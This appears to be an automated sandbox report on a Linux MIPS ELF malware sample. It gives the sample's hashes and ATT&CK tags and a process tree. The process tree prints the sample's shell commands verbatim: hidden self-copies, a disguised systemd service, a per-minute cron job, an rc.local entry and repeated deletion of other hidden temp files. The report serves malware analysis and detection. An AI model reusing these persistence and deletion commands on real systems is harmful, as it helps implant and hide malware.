97ec84e23ce7118e36d8a60a0d76602536028646aa044480a22b526eb7d3e625

Analysis

max time kernel
149s
max time network
146s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
04/10/2026, 08:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
97ec84e23ce7118e36d8a60a0d76602536028646aa044480a22b526eb7d3e625.elf
Size 5.6MB
Sample261004-j9752atdkc
SHA256 97ec84e23ce7118e36d8a60a0d76602536028646aa044480a22b526eb7d3e625
MD5 7688c8443053a0cb199ebcec16aa268a
SHA1 00466a07cd7bb750d399251d8f2cc2fbce6f149e
SHA512 87e9c961a500846cb709484dc771d381976deb24eb154d2ad32fe1249914fd0d7d9f7a41ee9f84509deb7399ba86dc6611503a0a2436c13b7a65c8dd28ee2f18
SSDEEP 49152:x5St5m7kkmSL+hzPYQwHZ6BhCxkVH0E/F0IaIq0GRMgNQUCCXaNniNIWrZMPiP43:xhVCJMgXGgnZ
TLSH
T10F4629137B28DB1EC22822341DB2CED467291C4646DA9917B381F319E9F21AD9D6FDF0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
740	sh
747	chmod
749	sh
754	chmod

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.3LEuoc	crontab

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/.e.service	sh

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	97ec84e23ce7118e36d8a60a0d76602536028646aa044480a22b526eb7d3e625.elf
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 38 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
755	sh

/tmp/97ec84e23ce7118e36d8a60a0d76602536028646aa044480a22b526eb7d3e625.elf
/tmp/97ec84e23ce7118e36d8a60a0d76602536028646aa044480a22b526eb7d3e625.elf
1⤵
- Enumerates kernel/hardware configuration
PID:728
- /bin/sh
  sh -c "cp /tmp/97ec84e23ce7118e36d8a60a0d76602536028646aa044480a22b526eb7d3e625.elf /var/tmp/.e 2>/dev/null && chmod +x /var/tmp/.e"
  2⤵
  - File and Directory Permissions Modification
  PID:740
- - /bin/cp
    cp /tmp/97ec84e23ce7118e36d8a60a0d76602536028646aa044480a22b526eb7d3e625.elf /var/tmp/.e
    3⤵
    - Reads runtime system information
    PID:743
- - /bin/chmod
    chmod +x /var/tmp/.e
    3⤵
    - File and Directory Permissions Modification
    PID:747
- /bin/sh
  sh -c "cp /tmp/97ec84e23ce7118e36d8a60a0d76602536028646aa044480a22b526eb7d3e625.elf /usr/lib/.e 2>/dev/null && chmod +x /usr/lib/.e"
  2⤵
  - File and Directory Permissions Modification
  PID:749
- - /bin/cp
    cp /tmp/97ec84e23ce7118e36d8a60a0d76602536028646aa044480a22b526eb7d3e625.elf /usr/lib/.e
    3⤵
    - Reads runtime system information
    PID:751
- - /bin/chmod
    chmod +x /usr/lib/.e
    3⤵
    - File and Directory Permissions Modification
    PID:754
- /bin/sh
  sh -c "printf '[Unit] Description=System Service After=network.target [Service] Type=simple ExecStart=/var/tmp/.e Restart=on-failure RestartSec=30 [Install] WantedBy=multi-user.target ' > /etc/systemd/system/.e.service 2>/dev/null && systemctl daemon-reload 2>/dev/null && systemctl enable .e 2>/dev/null"
  2⤵
  - Modifies systemd
  - System Network Configuration Discovery
  PID:755
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:757
- - /bin/systemctl
    systemctl enable .e
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:776
- /bin/sh
  sh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.e'; echo '* * * * * /var/tmp/.e') | crontab - 2>/dev/null"
  2⤵
  PID:789
- - /usr/bin/crontab
    crontab -l
    3⤵
    - Reads runtime system information
    PID:791
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    - Reads runtime system information
    PID:792
- - /bin/grep
    grep -v /var/tmp/.e
    3⤵
    PID:793
- /bin/sh
  sh -c "grep -q '/var/tmp/.e' /etc/rc.local 2>/dev/null || sed -i '/^exit 0/i /var/tmp/.e &' /etc/rc.local 2>/dev/null"
  2⤵
  PID:794
- - /bin/grep
    grep -q /var/tmp/.e /etc/rc.local
    3⤵
    PID:795
- - /bin/sed
    sed -i "/^exit 0/i /var/tmp/.e &" /etc/rc.local
    3⤵
    - Reads runtime system information
    PID:796
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:800
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:802
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:844
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:845
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:876
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:877
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:887
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:888
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:889
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:890
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:891
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:892
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:899
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:900
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:901
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:902
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:903
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:904
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:905
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:906
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:907
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:908
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:909
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:910
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:911
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:912
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:914
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:915
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:916
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:917
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:918
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:919
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:920
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:921
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:928
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:929
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:930
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:931
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:932
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:933
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:934
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:935
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:936
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:937
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:938
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:939
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:940
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:941
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:942
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:943

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.e.service

Path /etc/systemd/system/.e.service
Size 169B
SHA256 ecfd3b076bb0c7de56ed459cde63d17c50b713acc33de73c67d6b7bbb5178088
MD5 07ae575fc8cbe3b39155b6f1d8df7884
SHA1 1180e780a478c4041f905d141dc32d24521c1f44
SHA512 5d8a1ffdf10bea51d74bddc955af6b9aa0f8a43f714e2e36165557d054f22635d1b31c17a8f4f4e3e52171c0a59a1275caa504e5fa82da6e67652d8a31837fa3
TLSH
T1B2C08032664160D1DD8F35F55E677B104D104544558EF1304BD0155945F36469072DB9
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.3LEuoc

Path /var/spool/cron/crontabs/tmp.3LEuoc
Size 197B
SHA256 124592b80d903819324dc204cf7b1f720fd318ba3805e6e88826c1b0dbd24bb9
MD5 bd800ab510c15bdeb9b081d5064b6b8e
SHA1 3103923714456e222d92cc789c64011c8b29dfa8
SHA512 a9069314c52ced2f96811ada8162718d65cf9c32fa0757e68c3f4676e5281e2452d956f5c836ae9b8b14639ff59d27befc800885f70df5c3c49d74be8e7ce9d0
TLSH
T124D0223A3B007AB03A800BD921AE261C5981E02D80099E50E0CC2024020A38B6E82C31
MD5 SHA1 SHA512 TLSH

Submit Download

Path /var/tmp/.e
Size 5.6MB
SHA256 97ec84e23ce7118e36d8a60a0d76602536028646aa044480a22b526eb7d3e625
MD5 7688c8443053a0cb199ebcec16aa268a
SHA1 00466a07cd7bb750d399251d8f2cc2fbce6f149e
SHA512 87e9c961a500846cb709484dc771d381976deb24eb154d2ad32fe1249914fd0d7d9f7a41ee9f84509deb7399ba86dc6611503a0a2436c13b7a65c8dd28ee2f18
SSDEEP 49152:x5St5m7kkmSL+hzPYQwHZ6BhCxkVH0E/F0IaIq0GRMgNQUCCXaNniNIWrZMPiP43:xhVCJMgXGgnZ
TLSH
T10F4629137B28DB1EC22822341DB2CED467291C4646DA9917B381F319E9F21AD9D6FDF0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads